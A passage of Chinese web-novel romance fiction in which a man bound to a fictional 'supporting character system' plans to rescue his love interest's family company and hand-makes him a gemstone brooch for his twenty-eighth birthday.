从论坛里的帖子来看,大部分宿主确实是通过完成主线和支线任务获得积分,然后顺利返回自己的原世界。但是也有那么一小撮人,虽然绑定了配角系统,但是致力于发掘每一个任务细节。 其中有这么一个人,据说他绑定的时候精神出了一点小问题,于是在做男配任务时虽然也在完成主线任务,但除了主线台词对的上,其他时候的自我发挥程度已经到了疯狂的地步,包括但不限于让女主为自己心动来离间男女主之间的感情。 只不过他的心动方式,是带着女主去玩蹦极。 “这不是重点啦,因为这次蹦极,这位神奇男配和女主因为吊桥效应的关系看对眼了,只是顾忌着主线剧情迟迟没敢表白,结果大学毕业的时候女主直接拒绝了男主的告白,向男配激情表白,男配就这么成为了男主。” 茶茶一副小老师的样子对若有所思的贺真说:“所以茶茶总结了一下,首先宿主不能破坏主线任务,而且还不能主动向主角表白。因为宿主和主系统签过协议,宿主不能主动做出破坏剧情的事情。但是男主就不一样啦,男主的表白相当于向这个世界承认了宿主,当然不算宿主主动破坏剧情嘛。” 贺真听懂了系统的逻辑,这样看来也不是很难操作。 只不过比起谁来表白这件事,贺真担心的是另外一件事:“之前的故事梗概里写到,卓家的公司之后会遇到重大危机,我在其中还是个反派的角色,这些剧情的台词可以提前给我看看吗?” 茶茶有些犹豫,一般来说主系统不会允许的。 但贺真说:“你也说了这是十分重要的主线剧情,我需要提前准备,帮我打个申请?” 茶茶觉得宿主说得也有道理,于是和001号联合打了申请,不一会主系统就同意了,贺真也终于看到了那段主线剧情。 卓家遇到危机之后卓父就病倒了,卓鹭元一改以前纨绔的样子去接触各种投资方,明明喝不了酒却主动答应了那些酒局,只为了给公司博得一个转机。就是在这个时候,绿茶女配以订婚为要求,让卓鹭元和自己在一起,还是祁琼音的专利最后帮了卓鹭元。 贺真看到这段剧情之后有些沉默,手指摩挲着攥成拳又松开,最后抓起桌子上的车钥匙出了门。 “宿主,这么晚了你要去哪里?” 茶茶没见过宿主这个样子,有些担心地跟了上去。 “吹风。” 第44章 第 44 章 贺真把车开到最…… 贺真把车开到最近的超市, 下车去买了一包烟丢进车坐,将车窗打开半扇, 沉默地朝着江边的方向开去。 茶茶觉得宿主似乎从看到那段主线剧情之后心情就不太好,想说些什么安慰宿主,又怕影响他开车,所以沉默地坐在副驾驶座位上,爪子轻轻地推了一下烟盒。 奇怪,以前没见过宿主抽烟。 夜晚的江边风大, 加之刚才贺真开着车窗开车,这会头发被风吹得有些凌乱,似乎比平时多了几分野性。 贺真毫不在意, 拿出烟盒打火机, 用手挡着风点燃一根吸了一口, 望着波光粼粼的江面,吐出一阵烟雾。茶茶在不远处看着他,贺真瞥他一眼,问它:“怎么,没见过抽烟?” 茶茶摇摇头:“是没见过宿主抽烟,茶茶还以为宿主不抽烟呢。” 贺真笑了一声, 浑不在意地答道:“很早以前抽,后来戒了,最后一次抽还是在我爸去世的时候。” 茶茶有些茫然,上前两步试图安慰贺真:“宿主,茶茶不是故意让你想起伤心事的。” 贺真转头看着江面,眼中没有多余的情绪:“没什么不能说的,我爸得了癌症,但他走得时候很平静, 甚至前一天还在网上和骂我的人对喷,战绩全胜,那张嘴可厉害了。” 茶茶调查资料的时候见过网络骂战,不由得对宿主父亲生出一点敬佩之情,好厉害,不愧是宿主父亲! 茶茶猜测贺真是因为主角的事情心烦,不由得问他:“宿主是在为主角的事情心烦吗?可是宿主,你本来就不是这个世界的人,如果你真的喜欢主角并且想和他在一起,就意味着你再也不能回去自己的世界了,这样真的值得吗?” “有什么不值得的,”贺真指尖的红光一闪一灭,无所谓地答到:“我妈有自己的新家,我爸也不在了,对我来说有区别吗?我只在意,我顶着贺真真的身份,那原来的贺真真呢,我可不想抢别人的人生。” 但是茶茶的回答推翻了他之前的一些猜测:“宿主,不是这样的哦。宿主可以这样理解,在宿主介入之前,这个世界是以一套固定的程序运转的,只有当宿主拿到这个身份之后世界才被激活,脱离原有的NPC身份,正是因为这样,所以那位神奇宿主才能升格成为男主,因为那也是那位女主以自己的意愿选择的结果。” “只是宿主,如果你主动向主角表白而且主角答应的话,就相当于直接任务失败,会被主系统抹杀的。所以无论宿主是不是真的喜欢主角,茶茶都要阻止你向他表白。” 茶茶认真地看着贺真,贺真点头:“知道了,我不会。那段主线剧情一点更改的可能都没有吗?” 卓鹭元风趣可爱,虽然脾气火爆了一点,但他不该遭受这些。尤其是绿茶女配台词中的“雪中送炭”,贺真心里冷笑一声,明明是趁火打劫还说得这么好听。 茶茶摇头:“不可以。如果。宿主成功升格为主角,之后关于男女主感情的主线剧情倒是无所谓,但卓家危机的主线剧情一定不能更改,除非已经判定完毕。” “判定完毕?具体标准是什么?”贺真觉得茶茶话中有话,茶茶嘿嘿笑了两声:“比如主角的公司客观条件上不具备继续经营的条件,或者主角做了放弃经营的决定就算,而且判定完成后即便状态更改,系统也不会再进行二次判定了。” 就是说如果贺真想要帮卓鹭元,就一定要卡好这个判定节点,既不能真让卓家倒了,又不能太早出手阻止剧情,着实有些难度。 贺真看着茶茶,忽然问它:“剧情可以打乱吗?我看那段巧取豪夺的剧情不顺眼,帮我看看有没有什么道具能用得上,贵一点也可以。” 茶茶点头,认真地检索了系统商城里的道具,最后选出一个给贺真看:“只有这个了,剧情编辑器,可以自由调度某一段剧情出现的位置,有了这个道具宿主就可以将剧情延后一段时间,但是很贵,要十万积分才能购买。” “我现在有多少积分?” “一万二。” 贺真和系统相顾无言,感受到了自己的贫穷。 “不过每个世界都有隐藏剧情,挖掘完整度奖励的积分很高的!只不过这个应该会很难也很累,就算完成了也不知道我们这个世界到底能奖励多少积分,要不宿主算了吧?” 贺真沉默半晌,最后回到车里,将烟头按灭在烟灰缸里,对茶茶说:“听说过一句话吗?” “什么?”茶茶仰头看着贺真。 贺真的手搭上方向盘,样子慵懒又随意:“舍得一身剐,敢把皇帝拉下马。” “茶茶,帮我把能做的支线任务都接了,其中有时限的记得提醒我。同时帮我多留意一下贺继明和乔家的动向,我有预感,隐藏任务的突破口或许就在他们那里。”贺真做了决定之后也不再犹豫,准备回去订个计划。 “好的宿主,茶茶保证完成任务!”宿主斗志满满,连茶茶也跟着激动起来。 贺真心思飞转,准备再去一趟慈康疗养院打探虚实,这十万积分他赚定了。 卢俊城果然遵守约定,以公司的名义带着人来找卓父谈合作的事。 卓父对卢俊城算得上熟悉,热情地将人请到会客室,翻看对方带来的计划书。卢俊城拿出的计划书诚意满满,有些卓父觉得无所谓的小细节其中也进行了说明,连卓父都在心里赞赏了卢俊城一句年轻有为。 除了计划书中的专业术语,其他内容卓鹭元还是看得懂的,尤其是违约金上的数字,似乎比卓鹭元之前看过的合同都要高了。 卓父也觉得违约金有些高了,即便卢俊城说这是他们合作的诚意,卓父还是坚持将违约金下调一些:“还是下调一些吧,做生意哪有没风险的,卢总有时候也得为自己多想点退路。” 卢俊城点头答应下来:“受教了,那就依卓总的意思,违约金下调一些,我让人再去做一份新的计划书。” 等卓父和卓鹭元送走卢俊城之后,卓鹭元有些泄气:“做生意好麻烦,他们下次拿新的计划书来,我们是不是还得审核一遍?还是之后每个环节都这么麻烦。” “你以为钱是那么好赚的?”卓父早就习以为常了,金额越大越要重视,尤其是合作开发这么大的事。 卓鹭元还是有些不明白:“卢俊城把违约金写那么高,这样就没有人敢在合作期间随意反悔,难道不是好事吗?为什么爸你还坚持让他调下来?” 卓父叹了口气:“事情不是这样做的,想要表达诚意最好的方式只有一种,就是让利,其他都是虚的,你这个朋友没有你想象的那样简单。而且生意上的事说不准,真要有个万一,光这些违约金都足够拖垮一个公司,到时候朋友就要变仇人了。” 卓父说的也有道理,卓鹭元点点头,从卓父手里接过计划书,准备等会儿回自己办公室里再琢磨琢磨,这样下次卢俊城再来的时候他就不会看不懂了。 卓鹭元和卓父回身准备上楼的时候,耳边忽然响起一道惊喜的声音:“卓总好!” 卓父下意识以为是在叫自己,看到那年轻女孩的目光时才知道是在叫卓鹭元。 好熟悉的声音,卓鹭元回头,发现是祁琼音正抱着一沓资料在大厅站着,于是点头和对方打了个招呼:“今天怎么过来了?” 祁琼音笑着点头:“我来这边送资料,没想到刚好碰到您!” 卓鹭元没把祁琼音出现在这里的事放在心上,她在分公司,过来送个资料也是常有的事,一旁的卓父看他们熟稔的样子倒是恍然大悟,估计这个女孩就是当初卓鹭元招过来的那个人。 卓父看这个年轻女孩不错,又是卓鹭元自己招进来的,到底没忍住多问了两句:“你们以前认识?” 祁琼音向卓父问好,笑着解释:“我也是淮市大学毕业的,卓总是我的学长。” “还有这么巧的事。”卓父看着祁琼音,觉得对方无论是长相和学历都挑不出错来,那颗想撮合卓鹭元的心又蠢蠢欲动了。 不过上次儿子相亲回来那副生气的样子,连卓母也埋怨他做事不够妥帖,卓父现在也不敢乱点鸳鸯谱了,只是克制地提了个建议:“现在快中午了,既然是鹭元的朋友,不如一起吃个便饭?” “啊?”卓鹭元疑惑地看着卓父,他爸想什么呢,突然想请祁琼音吃饭?而且公司老板和员工一起吃饭,祁琼音咽的下去吗? 祁琼音显然也有点懵,无措地看着卓鹭元。卓鹭元想也不想就开口阻拦:“爸,你别想一出是一出的,你想吃什么我陪你。” 卓鹭元对祁琼音使了个眼色,祁琼音急忙对着卓父鞠了个躬,抱着资料说:“我还有工作没做完,先不打扰了。” 卓鹭元强硬地圈住卓父的胳膊,眯着眼睛问他:“爸,你是不是又起歪心思了?想也别想,你别想随便撮合我和别人!” 卓父拗不过卓鹭元,也不多加掩饰:“行行行,吃饭去,想吃什么爸爸请客。” “这还差不多。”卓鹭元美美地想着吃什么才能让卓父出出血,全然不知道自己的举动让茶茶很是困惑。 茶茶看着系统空间里里反复横跳,似乎想要刷新,最后却还是消失的支线任务,要不还是别告诉宿主了? 第45章 第 45 章 “宿主,支线任…… “宿主, 支线任务刷新了,偶遇女配郑曦并在争论中不动声色地占上风, 500积分,接吗?” “接。” “每日任务刷新了,请宿主进行身材管理,500积分。” “接。” “发布带有暗示意味的朋友圈,300积分,宿主……” “……接。” “为主角挑选合适的生日礼物, 并获得主角的赞赏,5000积分。” “接……等等?” 贺真这些天一直在连轴转地做各种任务,刚才茶茶提到生日时差点被他略过。贺真捏了捏自己的鼻梁, 声音中带着些疲惫:“我差点忘了, 还好有你提醒我。把任务详情打开给我看看。” 卓鹭元的生日在下个周五, 是他的28岁生日。 贺真打开自己的手机看了一眼,不知道为什么这段时间卓鹭元一直没有联系过自己,贺真合理怀疑肯定是盛俊文这个狗头军师在他面前胡说八道了。 贺真稍微反省了一下自己那天在酒吧的言行,其中应该没有出格的地方才对,他甚至连自我介绍都没和那个男孩说。 应该没问题吧? 想到这里,贺真试探性地给卓鹭元发消息:淮市新开了一家淮扬菜馆, 味道很不错,有时间一起出来吃饭? 看到这条消息的卓鹭元不爽地“哼”了一声,赌气一般打下一行字:我要忙事业,贺大公子还是约别人一起去吧。 卓鹭元发出去之后就后悔了,他不知道贺真那天到底有没有发现盛俊文他们,他这样阴阳怪气地回复贺真,显得他知道了什么多在意似的。 他的手指按在那条消息上试图撤回,对方的回复却先一步显示了出来:怎么突然和我这么生疏, 是不是我哪里做的不好? 贺真看到卓鹭元的消息时就反应过来了,盛俊文八成看到那个和自己搭讪的男孩,而且把这件事告诉卓鹭元了,卓鹭元估计就在为这件事生气。 尤其是当贺真看到“贺大公子”和“其他人”几个字时,脑海里立即浮现了卓鹭元臭着脸戳手机的样子,没忍住茶了他一句。 卓鹭元看到贺真的回复后有些苦恼,那天盛俊文没听到贺真和对方具体说了什么,而且贺真也确实拒绝了加好友的邀请,难道他冤枉贺真了?但请喝酒总是真的吧! 贺真不等他回复,又主动发消息:那天我去酒吧散心,没想到走错进了一家gay吧,还有人和我搭讪,我和他随意聊了几句就走了,没想到碰到了俊文和亮子。 卓鹭元盯着贺真发来的消息,心里想被猫挠似的,慢吞吞地打下一行字:你想去散心是因为我吗,手指移到发送时却又全部删掉,变成了:啊?你们怎么都去gay吧,老实交待! 终于到正题了,贺真无声地笑了笑,对卓鹭元说:我心里对一些事有些疑惑,刚好那天有人和我搭讪,我就问了他一个问题,所为谢礼请他喝了一杯酒。真可惜,听说那杯酒还是店里的招牌,我都没尝到。 卓鹭元才不在意那杯酒,只想知道贺真到底问了什么问题,手指敲击屏幕时甚至能听到自己过快的心跳声,嘴上却要。装作不在意:还有你想不明白的事?你问了他什么问题? “宿主,你一定要克制自己,千万不能主动向主角表白啊!”茶茶怕贺真头脑一热就和卓鹭元告白了,马上尽到自己小助手的义务大声提醒。 自从知道卓鹭元实际上对自己很在意之后,贺真的心情就明显变得愉悦许多,连回答茶茶的担忧时语气都上扬了几分:“主系统只是不许我主动表白扰乱剧情,那我不表白,和他说话聊天,平时一起出去玩,这不就行了吗?行了,你连心动嘉宾都没有,不用担心我的事。” “喵!”茶茶不可置信地后退两步,不知道宿主37度的嘴怎么能说出这么冰冷的话来,顿时用尾巴卷起001号,藏到衣柜里疗伤去了。 贺真手指飞快打下一行字:我问他是什么时候发现自己性取向不一样的,他告诉我是高中的时候,并且对我说他觉得是男是女都不重要。 那你呢? 贺真的想法才是卓鹭元最关心的事,而贺真也没打算卖关子,直接回复卓鹭元:我觉得他说得很有道理,值得请他喝那杯酒。 卓鹭元的心里好受许多,却始终不敢问贺真到底是不是喜欢同性,怕不知道答案,又怕知道答案,连卓鹭元自己都不了解,原来他还有这么胆小的一面,很久都没有再回复贺真。 倒是贺真有些等不住,率先提起了上次那件两个人都在回避的事:上次的事是我不好,扶住你的时候没有把握好力道,希望你不要因为这件事躲着我,我会很伤心的。 贺真发完这句话,还和卓鹭元发了一个流泪猫猫头的表情包,是之前从几个人的小群里偷来的。 贺真都这样说了,卓鹭元当然不能继续缩回壳里装小乌龟:没什么,意外嘛,我哪有躲着你,就是这段时间忙了一点。我看你也是闲,还从那个群里偷表情包,我一直以为你嫌吵把他们都屏蔽了。 这句话贺真回复得很快;没有,怕错过你的消息。 卓鹭元的嘴角不自觉地上扬,这次也不打字了,直接发了语音过去:“你说的淮扬菜馆在什么地方啊,明天一起去呗。今天我爸又想撮合我和祁琼音,我要给我妈告状,说他乱点鸳鸯谱。” 卓父怎么又干这事? 贺真皱着眉回语音:“你答应了吗?我爸听说前段时间你去相亲的事情,还和我说想让我也去相亲,被我拒绝了,我有些理解你被迫相亲时的苦恼了。” 卓鹭元“蹭”一下从床上坐起来,听到贺真拒绝之后才放下心来,像被放了气的皮球一样瘫回床上:“是吧是吧?干嘛总是操心我们感情的事,顺其自然不就好了,难不成我像找不着对象的?!” 贺真自从开窍之后,就更怕卓鹭元这棵水灵灵的大白菜被别人拱走,这会更是顺着卓鹭元的话往下说,好听话像不要钱一样往外冒着:“那是自然。鹭元你长得好看,学业又好,现在还在管理这么大一家公司,无论从哪个方面来说都十分优秀。这么优秀的鹭元哥哥,周五叫上盛俊文他们,一起赏脸吃顿饭?” “嘻嘻,看在你这么夸我的份上,我答应了,我这就去叫他们!”贺真还夸卓鹭元好看来着,他都没说那个男的好看! 盛俊文接到卓鹭元消息的时候还在纳闷,卓鹭元不是说这段时间忙工作,一点也不想见贺真吗,怎么是他来告诉自己贺真请大家吃饭的,这两个人不会背着自己偷偷在一起了吧? 卓鹭元应该不能做出这种见色忘义的事儿吧? 盛俊文还没来得及质问卓鹭元,卓鹭元先找他了:“贺真都和我说了,他就是和那个男的问了个问题而已,作为谢礼才请人家喝了一杯酒。你说你也是,都看了也不看清楚,搞得我差点误会他。对了,明天一起吃饭啊,贺真发现一家很好吃的淮扬菜馆,约我们一起去,你不许不来。” 盛俊文:… 盛俊文:…… 盛俊文内心有些崩溃,真想抓住卓鹭元用力晃一晃,看看他脑子里都装了些什么:“怎么贺真说什么你都信啊,你怎么知道贺真到底问了什么。元儿啊,我知道你现在正上头,听兄弟一句劝……” “哎呀,我心里有数,行了,我得去忙了,要不然我爸才不放我出去玩呢,回见!” 卓鹭元的电话挂得十分干脆利落,盛俊文在恍惚中打开小绿书熟练发帖:求助贴,我朋友(男)疑似喜欢上另外一个男生,两人都是我的好兄弟,之前两人意外亲了,结果其中一个被我发现去了gay吧还被搭讪,另外一个还坚信对方没问题,我该怎么劝啊! “你这个朋友该不会是你自己吧?[doge]” “那贴主是怎么不小心去了gay吧的呢?[doge]” “评论区已经乱成一锅粥了,贴主趁热喝了吧。” 盛俊文略过起哄的人继续往下看,果然还是有正常网友的: “救命啊,贴主这也太像我那个恋爱脑闺蜜和她的河童男友了。” “建议别劝,上次我劝过之后她俩美美合好了,然后把我拉黑了,结果我成小丑了。” 这两条评论获得了不少网友的点赞,盛俊伟没忍住给第一条回复了:“两个人长得都挺帅,而且之前都没谈过恋爱。” 层主很快回复盛俊文:“还有这种好事?马上给爷谈,民政局我搬来了!” 盛俊文越看评论越绝望,最后索性把手机熄屏扔到了一边,这还没谈上呢,卓鹭元就被贺真吃得死死的,连他这个发小说的话都不信了,不是恋爱脑谁信啊! 算了算了,盛俊文默默劝自己,他还是别掺合了,万一这俩人给他也拉黑了怎么办,他可不想当小丑。 第46章 第 46 章 盛俊文还在杞人忧天…… 盛俊文还在杞人忧天的时候, 贺真正在思索自己要送什么生日礼物给卓鹭元比较好。 就像贺真能看到的故事梗概一样,文字里对卓鹭元的描述十分片面, 也不够精确,连卓鹭元喜欢那家菜馆、偏爱什么口味都是相处中贺真一点一点发现的,至于喜好他就更拿不准了。 贺真请大家吃饭,一方面是想和卓鹭元尝尝新菜,如果他喜欢的话以后还能约他常来。另一方面他想和卓鹭元的朋友们拉近距离,方便侧面打听一下和他相关的事。 虽然贺真和盛俊文亮子他们的关系也不错, 但到底他们才是和卓鹭元认识了许多年的朋友,比起贺真这个后来者关系也更好一些,贺真想要知道一些事的话还得请教他们。 贺真有心想找茶茶打听一下, 就算花点积分也行。但是不知道是不是自己上次的话刺激到茶茶了, 最近这个家伙除了提醒他支线任务的事, 其他时候都不知道猫在衣柜里干什么,连001号都被它用尾巴绑.架走了。 上次贺真知道卓鹭元对他其实十分在意之后有些开心过头,现在想起来确实有些心虚,难得和颜悦色地打开衣柜去哄茶茶:“茶茶,上次是我不对,不应该那么说你, 其实你是一个非常好的系……你在干什么。” 衣柜里,茶茶正抱着卓鹭元送给他当作承诺的那只袖扣,不仅试着用牙咬。 茶茶没想到贺真会突然打开柜门,咬牙时凶狠的表情还凝固在脸上,结结巴巴地问贺真:“宿…宿主,你怎么突然来了?” 贺真的视线太过明显,茶茶马上松手,用自己的猫毛擦了擦那枚袖扣, 讨好地递给贺真:“宿主的袖扣放在衣柜里都落灰了,茶茶就是想帮宿主擦一擦,哈哈……” “用口水吗?”贺真从茶茶手中拿过袖扣,仔仔细细擦干净,锁进了自己的抽屉里,一把将茶茶从柜子里抓出来:“说吧,你想怎么死。” 茶茶知道宿主又多在意卓鹭元,见宿主真的生气了,马上挣扎着大喊:“宿主我错了!宿主不是想给主角送礼物吗,我可以帮宿主检索主角喜欢的东西,不用宿主花积分的!” 还有这种好事? 贺真放下茶茶,低头看着对方:“你最好不是在骗我。” 茶茶疯狂摇头,它哪来的胆子骗宿主。茶茶怕宿主不相信自己,立即当着贺真的面打开系统面板进行查询,不多时就把和主角相关的能查到的资料都打包给了贺真:“宿主,这是茶茶查到的资料,里面显示主角喜欢收集饰品,尤其是亮晶晶的饰品,宿主要不要考虑从这方面入手?” 贺真没有第一时间回答茶茶的话,反而在心里回想着这些日子和卓鹭元的相处,他好像确实很喜欢这类小东西,所以上次贺真才会送那对袖扣给他。 可这次是卓鹭元的生日,贺真不想再送和上次差不多的东西,他私心里想让卓鹭元拥有更好的。但茶茶的这个建议也不是不能考虑,只不过考虑的方向或许得发生些变化。 贺真没有继续和茶茶多说什么,只是告诫他不许再玩卓鹭元送给他的东西,茶茶连忙点头,总算是让它糊弄过去了。 卓鹭元最近心情不错,在公司里走路都带着风。 卓鹭元的生日马上到了,他拒绝了卓父说在酒店给他办个宴会的提议,反而理直气壮地说:“既然是我的生日,当然是由我自己来决定怎么过。我已经定好桌了,生日那天我们一家三口一起去吃饭,就去老妈喜欢的那家法餐。” “怎么去那一家?”卓父好奇地看着卓鹭元,语气酸溜溜的,怎么没他的份? 卓鹭元瞥他一眼:“当然因为是老妈生的我呀,我肯定要让老妈开心。” 儿子对自己上心,卓母心里高兴得不行,嘴上还要半真半假地埋怨两句:“你这孩子就是贴心。不要你花钱,妈妈请你吃饭!”说完卓母还瞪了卓父一眼,卓父立马凑到卓母面前给她捏了两下肩膀:“我来我来,老婆你辛苦了。” “嘻嘻,那就说好了爸你出钱,这可是你自己说的!”卓鹭元笑嘻嘻地坐在卓父旁边,得寸进尺地说:“我都快生日了,这几天放我出去玩呗,我知道爸你对我最好了,我保证就这几天,过完生日我马上去公司报到。” 卓父还能怎么办,当然是答应他了。他就这么一个儿子,不疼他疼谁? 卓鹭元得到了想要的答案,开心地回房计划着这几天要去哪里玩。 第二天,小群里的人一起聚在菜馆里吃饭,卓鹭元顺势说了自己要过生日的事:“我周五过生日,那天我要和爸妈吃饭,咱们周四一起聚一聚呗。” 过了生日卓鹭元就二十八岁了,偏偏那张脸看着还像个大学生似的,几个人里除了宁之衡那个娃娃脸,就卓鹭元看着最年轻。 不过给卓鹭元过生日这种事,几个人当然不会错过就是了。 “啧啧,你马上都二十八了。和我们说说,最近有没有什么想要的?”盛俊文下意识勾住卓鹭元的脖子,又在和贺真目光相接时松手。 贺真的目光真可怕,盛俊文明显感觉到对方的眼神就没离开过自己搭在卓鹭元肩上那只手,他还是放开吧。卓鹭元好不容易看上个谁,做兄弟的可千万不能拖后腿。 卓鹭元没注意到贺真的目光,嫌弃地看了盛俊文一眼:“把我当什么人了,我是来要礼物的吗?”再说了,哪有问过生日的人想要什么的,奇奇怪怪。 宁之衡拿着筷子也没吃饭,目光从卢俊城看到贺真,颇为感慨地说:“时间过得真快啊,城哥今年都要三十了,卓鹭元也要二十八了,贺真居然是最小的。” 贺真能叫卓鹭元“鹭元哥哥”不是没原因的,他比卓鹭元小两岁,今年二十六岁,比二十七岁的郑曦还小一点,几乎是他们这圈同龄人中最小的存在,要不然也不会被主系统安排那么多好哥哥好姐姐。 见几人羡慕嫉妒恨的视线朝自己身上聚集过来,贺真不好意思地笑笑:“其实没有什么差别,我还羡慕过你们比我早成年呢。” 那倒是,贺真小时候因为比大家都小,又是个娇滴滴的小绿茶,大一点的孩子都不愿意和他一起玩,卓鹭元也是带着他一起玩了几天之后才被缠上的。 卓鹭元似乎也想到了小时候的事,不由得看向和小时候身材样貌完全发生大变化的贺真,也不知道对方是什么时候开始长个子的。 以前有人在网上吐槽自己看上的帅哥还戴着小天才儿童手表,卓鹭元脑海中不禁冒出了贺真的样子,没忍住笑出了声:“你以前未成年的时候没人和你表白吗?他们什么反应?” 贺真想了想回答:“好像很意外。” 李尚乐接话:“那可不,你现在看起来都能打两个我。” 杨一群冷笑一声:“就你那弱鸡样,贺真打你简直是一九开,他打你一拳,你含笑九泉。” “瞧不起谁呢?” “当然是你咯,你以为自己是武僧吗?” 卢俊城发现这两人见面就吵架,只好出来打圆场:“好了,你们两个怎么吃个饭还吵架。再说了,你们两个头发都长出来了,就别再拿这个攻击对方了。” 宁之衡也跟着点头,但是赞同的原因却和卢俊城不太一样:“就是,你们两个的和尚笑话我都听腻了,能不能吵点有新意的。” 贺真眼见着卓鹭元生日的话题逐渐跑偏,开口想把话题带回来:“你们还拿头发说事,是想等鹭元生日的时候送两颗舍利子吗?” 亮子扭头看着贺真,以前他也没发现对方嘴这么毒啊,一句话就让李尚乐和杨一群两个人都闭嘴了。 宁之衡听了贺真的话之后哈哈大笑:“没看出来啊,你怎么比卓鹭元嘴还毒,该不会是他传染给你的吧?” 传染? 卓鹭元听到宁之衡提到“传染”这个词的时候,脑海里不受控制地浮现出自己和贺真那天亲上的情景,脸上的热气快把自己蒸熟了,低着头没接宁之衡的话。 贺真看到卓鹭元的样子,猜测他又想到了那天的事,于是笑着把话题岔开,拯救了还在尴尬的卓鹭元。 盛俊文看着卓鹭元低着头尴尬又害羞的样子,趁他们聊天时故意低下头去看卓鹭元的表情,结果发现对方的脸红得和猴屁.股,被卓鹭元发现后他还狠狠瞪了自己一眼,用口型威胁他:不许说出去! 不是吧,这么害羞? 虽然不合时宜,但盛俊文突然想起来一句话:老房子着火,这说得不就是他这发小吗。 但他可不敢舞到卓鹭元脸上,他还怕对方恼羞成怒雇人暗鲨自己。盛俊文遗憾地抬起头,那边贺真还在不动声色地聊些和卓鹭元有关的事,盛俊文眼睛一亮,拿出手机噼里啪啦打了一行字,趁人不注意从桌子底下伸过去递给贺真。 贺真正和卢俊城聊得开心,手里却突然被人塞了一支手机,低下头才发现是盛俊文的手机,上面的聊天框还打了一行字: V我50,告诉你他喜欢什么。 他喜欢的不就是我吗,盛俊文在搞什么。虽然贺真心里这样想着,手却很诚实地发了一串50的红包过去,附赠一句话:告诉我他喜欢什么,不然我截图发给他说你背刺。 盛俊文:??? 你俩是狗吧! 第47章 第 47 章 事实证明盛俊文还是…… 事实证明盛俊文还是靠谱的, 利落地收了贺真的红包以后给贺真发了许多卓鹭元平时喜欢的珠宝品牌,贺真一一看过去, 发现和茶茶给的资料差不多。 贺真看着资料里琳琅满目的珠宝,心里有了想法,拿出手机给钱特助打了个电话,让他把自己最近的行程空出来,他有其他事要做。 卓鹭元不知道贺真最近在忙什么,回他的消息时总是慢半拍, 有时候卓鹭元晚上和他发消息,直到第二天早上才发现对方是半夜回的消息,估计是才忙完。 卓鹭元和卓父说好了, 过生日前这几天都在尽情享受疯玩的乐趣, 甚至还想拉着他们去上山露营, 结果被几个人一致否决,理由是不想去野外喂蚊子。 算了,卓鹭元想不明白贺真在干什么,或许是工作太忙了吧,不过他答应过自己,说等他过生日的时候一定会过来, 也不知道对方会不会给自己送礼物。 他倒不是在意礼物贵重与否,只是因为他是贺真,所以尽管卓鹭元已经很克制自己的想法了,但心底还是忍不住偷偷生出来些期待。 卓鹭元的生日很快就到了,那天朋友们依约而来,也不和卓鹭元客气,一桌菜哪个贵点哪个,誓有让卓鹭元不放血不罢休的架势。卓鹭元装作肉痛地看着他们, 笑意却遮不住地往外漏。 生日蛋糕是盛俊文负责定的,宁之衡要往上面写祝他二十八岁生日快乐,永远貌美如花的时候还被盛俊文拦住了,怕他们两个人被卓鹭元秋后算账。 李尚乐和杨一群的主意更歪,张口就是祝他长生不老,卓鹭元看在生日的面子上没和他俩计较,只有卢俊城送的礼物还正经一些,是一辆车,看得李尚乐和杨一群眼睛都红了。 “靠,我也想过生日了。” “这个活动还有吗?” 卢俊城笑了笑:“你们两个要是肯回去好好继承家业,哪能连一辆车都没有。” 卓鹭元欢欢喜喜地收下几人送的礼物,盛俊文送了一张自己淘来的老唱片,李尚乐和杨一群两个人闯祸太多,经济状况暂时比较贫穷,于是送了一套游戏大礼包,卓鹭元严重怀疑是他们自己想玩。亮子送了一瓶好酒,他的酒吧里酒最多了。 贺真看到卓鹭元隐隐期待的眼神,笑着拿出一个小袋子递给卓鹭元:“生日快乐,打开看看?” 卓鹭元满怀期待地从小袋子里拿出一个盒子,看大小像是首饰一类的礼物,卓鹭元猜大概是饰品之类的。他打开盒子,里面正躺着一枚胸针,上面镶嵌着一颗紫色的宝石。 卓鹭元小心地将它拿出来,雀跃的眼神看向贺真:“谢谢啦!你好像很喜欢给我送些宝石之类的饰品?”而且还都是颜色偏鲜艳的类型。 其实是因为贺真觉得鲜艳的颜色与卓鹭元的气质更相配,不仅不抢风头,反而在卓鹭元面前都失去颜色沦为陪衬。贺真看着他手上那枚胸针,认真地说:“因为觉得这个颜色很适合你。” 李尚乐凑过来看了一眼,忽然“咦”了一声,卓鹭元侧身问他:“怎么了?” 李尚乐歪头,有些不确定地说:“没什么,这块宝石品质不错,但这个切割和镶嵌的工艺怎么看着有点……粗糙?” 有吗? 卓鹭元不悦地将胸针放回盒子盖上,心想你懂什么,却没想到贺真却点了点头承认了:“尚乐说得没错,工艺是有些粗糙,因为时间有些紧张,所以我也只能做成这样子。好在我买的这块宝石比起其他宝石大了一些,所以做出来的成品勉强能看。” 卓鹭元猛然抬起头,不可置信地看向贺真,听他的意思,难道这枚胸针是他自己做的? 他马上又打开盒子,只觉得自己心中的情绪正在不断翻涌,似乎被什么暖暖的东西填满了,连这枚胸针也变得烫手。 “啊?哥们,这该不会是你自己做的吧?”杨一群也凑上来看卓鹭元手中的胸针,被李尚乐那么一说,好像确实是比外面卖的粗糙一些。 谁也没想到贺真会给卓鹭元送这么贵重又富有新意的礼物,一时间几人啧啧称奇:“行啊,要不你俩小时候玩得好呢,看看人家这心意,输了输了。” 卓鹭元显然也没想到,错开杨一群向胸针盒子伸来的手,一把就塞回了袋子里:“好了好了,这么好的礼物我要收起来了,万一丢了怎么办。” 盛俊文看着卓鹭元宝贝的样子,没忍住在心里摇头,就贺真这样用心的礼物,换谁谁不迷糊? 卢俊城看着贺真,打趣他:“你和鹭元的关系这么好,看来他们说的关于你俩小时候的事都是真的,听说你还叫过他哥哥?” 卓鹭元想到贺真调侃他的“鹭元哥哥”,没忍住为自己辩解:“小时候我又不知道他是男孩,再说了,我比他大两岁,他就算叫我哥哥也应该。” 贺真将自己面前的菜换了个位放在卓鹭元面前:“是是是,今天你生日,你最大,对吧?鹭元哥哥。” 几人说说笑笑,还喝了些酒,等着12点的时候准点和卓鹭元碰杯,祝他生日快乐。 卓鹭元笑嘻嘻地接受了朋友们的祝福,亲手在生日蛋糕上插下蜡烛,闭眼许愿前不动声色地看了贺真一眼,想到了自己的愿望。 贺真今天开车过来没有喝酒,卓鹭元反而因为高兴喝了一些,坐在副驾驶上时手里还抱着那个袋子,左看右看喜欢地不得了。 “喜欢吗?” 卓鹭元听到贺真问他,肯定地点了点头:“你亲手做的,当然喜欢了。等等,你最近半夜回我消息,就是为了给我做这枚胸针吗?” 